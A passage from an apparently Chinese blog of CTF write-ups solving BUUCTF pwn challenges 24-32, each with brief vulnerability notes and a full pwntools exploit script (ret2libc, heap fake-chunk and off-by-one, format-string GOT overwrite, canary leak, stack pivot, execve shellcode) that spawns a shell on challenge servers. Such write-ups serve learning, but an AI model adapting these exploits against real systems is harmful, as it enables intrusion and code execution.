pwd=pwd.ljust(0x48,b'\x00')
payload=pwd+p32(shell_addr)
p.sendlineafter("Please enter password: ",payload)
#pause()
p.interactive()

24、jarvisoj_level1

 32位,只开了RELRO,ida看看

 ret2libc3

Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./level1"
#p=process(pwn)
p=remote("node4.buuoj.cn",25887)
elf=ELF(pwn)
#gdb.attach(p,'b *0x8048676')
#pause()
payload=b'a'*0x8c+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(0x1)+p32(elf.got['read'])+p32(0x4)
p.send(payload)
read=u32(p.recv(4))
libc=ELF("./libc-2.23.so")
libcbase=read-libc.sym['read']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
payload=b'a'*0x8c+p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh)
p.sendline(payload)
p.interactive()

25、hitcontraining_magicheap

 64位,RELRO半开,开了Canary,NX,ida打开是堆题,只有申请,释放,修改,漏洞点在修改函数处

magic=0x6020A0
create(0x10) #index 0
create(0x60) #index 1
create(0x60) #index 2
delete(2)
delete(1)

 构造出如上图所示结构,chunk 0 用来修改chunk 2的fd指针,指向magic的上面,如下图,跟__malloc_hook的情况类似,所以我们只要将magic的上面地址伪造成一个0x70的chunk,再利用堆溢出修改chunk1的fd指针,把fake chunk 接入fastbin 的0x70大小的链表就行

 edit(0,0x28,p64(0)*3+p64(0x71)+p64(magic-0x23))

create(0x60)
create(0x60,b'a'*0x13+p64(0x1306)) #fake chunk     如下图已经看到我们修改了当前值

 

Exp:
from
pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./magicheap" #p=process(pwn) p=remote("node5.buuoj.cn",26739) elf=ELF(pwn) #--------------------------------------------------------------------------------------------------- libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") def create(size,content=b'a'): p.sendlineafter("choice :",str(1)) p.sendafter("Size of Heap : ",str(size).encode()) p.sendafter("heap:",content) def delete(index): p.sendlineafter("choice :",str(3)) p.sendlineafter("Index :",str(index)) def edit(index,size,content): p.sendlineafter("choice :",str(2)) p.sendlineafter("Index :",str(index)) p.sendlineafter("Size of Heap : ",str(size)) p.sendafter("Content of heap : ",content) magic=0x6020A0 create(0x10) #index 0 create(0x60) #index 1 create(0x60) #index 2 delete(2) delete(1) edit(0,0x28,p64(0)*3+p64(0x71)+p64(magic-0x23)) create(0x60) create(0x60,b'a'*0x13+p64(0x1306)) #fake chunk p.sendlineafter("choice :",str(4869)) #debug() #pause() p.interactive()

 

26、axb_2019_fmt32

32位,RELRO半开,NX保护,ida打开看看,明显的格式化字符串漏洞

偏移为8(加个b'a'),无法造成栈溢出,只能呆在循环里,且可利用函数只有read和printf函数,还有一个strlen函数,那就泄露printf函数地址,后找出偏移,将system函数地址填入got表printf处,再下一次循环开始时调用printf函数后会改成调用system函数,再通过read函数调用送"/bin/sh\x00“过去,system函数地址跟printf函数地址的调换用pwntools自带的模块

 

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./axb_2019_fmt32"
#p=process(pwn)
p=remote("node4.buuoj.cn",25082)
elf=ELF(pwn)
#gdb.attach(p,'b *0x4009DD')
#pause()
p.recv()
payload=b'a'+p32(elf.got['printf'])+b'stop'+b'%8$s'
p.sendline(payload)
p.recvuntil(b'stop')
printf_addr=u32(p.recv(4))
libc=ELF("./libc-2.23.so")
libcbase=printf_addr-libc.sym['printf']
sys_addr=libcbase+libc.sym['system']


payload=b'a'+fmtstr_payload(8,{elf.got['printf'] : sys_addr},write_size='byte',numbwritten=0xa)
p.sendlineafter("Please tell me:",payload)
p.sendline(b';/bin/sh\x00')
p.interactive()

27、others_babystack

 64位,canary开了,RELRO全开,NX打开,ida打开看看

 先用1和2通过read和puts函数泄露canary

p.sendlineafter(">> ",str(1))

payload=b'a'*0x8c+b'stop'
p.sendline(payload)
p.sendlineafter(">> ",str(2))
p.recvuntil(b'stop')
canary=u64(p.recv(7).rjust(8,b'\x00'))
print(hex(canary))

然后要记得最后取得shell时要发送三退出循环

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./babystack"
#p=process(pwn)
p=remote("node4.buuoj.cn",29726)
elf=ELF(pwn)
#gdb.attach(p,'b *0x4009DD')
#pause()
rdi=0x400a93
p.sendlineafter(">> ",str(1))
payload=b'a'*0x84+b'stop'
p.sendline(payload)
p.sendlineafter(">> ",str(2))
p.recvuntil(b'stop\n')
canary=u64(p.recv(7).rjust(8,b'\x00'))
print(hex(canary))
#pause()
payload=b'a'*0x88+p64(canary)+b'a'*8+p64(rdi)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(0x400908)
p.sendlineafter(">> ",str(1))
p.sendline(payload)
p.sendlineafter(">> ",str(3))

puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

libc=ELF("./libc-2.23-x64.so")
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))

p.sendlineafter(">> ",str(1))
payload=b'a'*0x88+p64(canary)+b'a'*8+p64(rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.sendlineafter(">> ",str(3))
#pause()
p.interactive()

28、pwnable_start

32位,保护全关,静态编译,ida打开

 gadget少的可怜,就一个开始一个退出,一个write(1,buf,0x14)和read(0,buf, 0x3C),我们可以看到这道没有ebp,且retn之前有一个add esp,14h,也就是说栈没有进行移动(在调用write和read的时候),那就可以先泄露栈的地址,后再+0x14进行shellcode的执行

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./start"

p=process(pwn)
#p=remote("node4.buuoj.cn",29080)
elf=ELF(pwn)

write_adr=0x8048087
p.recv()
payload=b'a'*0x14+p32(write_adr)
p.send(payload)
stack_addr=u32(p.recv(4))
print(hex(stack_addr))

shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload=b'a'*0x14+p32(stack_addr+0x14)+shellcode
p.send(payload)
p.interactive()

29、gyctf_2020_borrowstack

 64位,RELRO半开,NX保护开启,ida打开看看,read函数只够覆盖ret,看来又是栈迁移加ret2libc3

 64位寄存器传参,找找有用的gadget,同时用one_gadget

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./gyctf_2020_borrowstack"
#p=process(pwn)
p=remote("node4.buuoj.cn",27777)
elf=ELF(pwn)
#gdb.attach(p,'b *0x400699')
#pause()
bank=0x601080
rdi=0x400703
ret=0x4004c9
leave=0x400699
p.recv()
payload=b'a'*0x60+p64(bank)+p64(leave)
p.send(payload)
p.recv()
payload=p64(ret)*20+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
p.send(payload)
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

libc=ELF("./libc-2.23-x64.so")
libcbase=puts_addr-libc.sym['puts']
print(hex(libcbase))
one_gadget=libcbase+0x4526a
payload=b'a'*0x68+p64(one_gadget)
p.sendline(payload)
#pause()
p.interactive()

30、ciscn_2019_s_9

 32位,只开了RELRO,ida打开看看,就是ret2libc3

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./ciscn_s_9"
#p=process(pwn)
p=remote("node4.buuoj.cn",25120)
elf=ELF(pwn)
#gdb.attach(p,'b *0x8048550')
#pause()
p.recv()
payload=b'a'*0x24+p32(elf.sym['puts'])+p32(elf.sym['main'])+p32(elf.got['puts'])
p.sendline(payload)
p.recvline()
puts_addr=u32(p.recv(4))
#pause()
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload=b'a'*0x24+p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh)
p.sendline(payload)
p.interactive()

31、picoctf_2018_shellcode

 RELRO半开,其他全关,可以写入shellcode,同时ida打开看看,

 有call eax反汇编不了,可以把他改了,但是这道题挺简单,汇编也能凑合看

 vuln函数有个很明显的栈溢出我们可以写入我们的shellcode取得shell,同时要是个字符串

Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./PicoCTF_2018_shellcode"
#p=process(pwn)
p=remote("node4.buuoj.cn",26297)
elf=ELF(pwn)
payload=b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
p.sendline(payload)
p.interactive()

32、hitcontraining_heapcreator

 64位,延迟绑定,Canary,NX开了,ida打开

 

create(0x18) #index 0
create(0x10) #index 1
create(0x10) #index 2


edit(0,b'/bin/sh\x00'+p64(0)*2+p8(0x81))  #进行offbyone 和overlapping 利用,将当前大小chunk拓展,再释放,再申请,就可以让chunk2 进行地址泄露
delete(1)

#泄露free和libc基地址,特别注意当前的p64(3)这个地址上的值必须大于1,才能打得通,小于1会报munmap_chunk()错误

create(0x70,p64(0)*8+p64(3)+p64(elf.got['free'])) #index 1

show(2)
free=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(free))
libcbase=free-libc.sym['free']
sys_addr=libcbase+libc.sym['system']

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()       
     
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./heapcreator"
p=process(pwn)
#p=remote("node5.buuoj.cn",26739)
elf=ELF(pwn)
#---------------------------------------------------------------------------------------------------
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def create(size,content=b'a'):
     p.sendlineafter("choice :",str(1))
     p.sendafter("Size of Heap : ",str(size).encode())
     p.sendafter("heap:",content)

def delete(index):
     p.sendlineafter("choice :",str(4))
     p.sendlineafter("Index :",str(index))

def show(index):
     p.sendlineafter("choice :",str(3))
     p.sendlineafter("Index :",str(index))

def edit(index,content):
     p.sendlineafter("choice :",str(2))
     p.sendlineafter("Index :",str(index))
     p.sendafter("Content of heap : ",content)

create(0x18)  #index 0
create(0x10)  #index 1
create(0x10)  #index 2


edit(0,b'/bin/sh\x00'+p64(0)*2+p8(0x81))
delete(1)   
create(0x70,p64(0)*8+p64(3)+p64(elf.got['free']))  #index 1

show(2)
free=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(free))
libcbase=free-libc.sym['free']
sys_addr=libcbase+libc.sym['system']

edit(2,p64(sys_addr))
delete(0)

debug()
#pause()
p.interactive()

 

posted @ 2023-11-22 22:09  fheap  阅读(93)  评论(0编辑  收藏  举报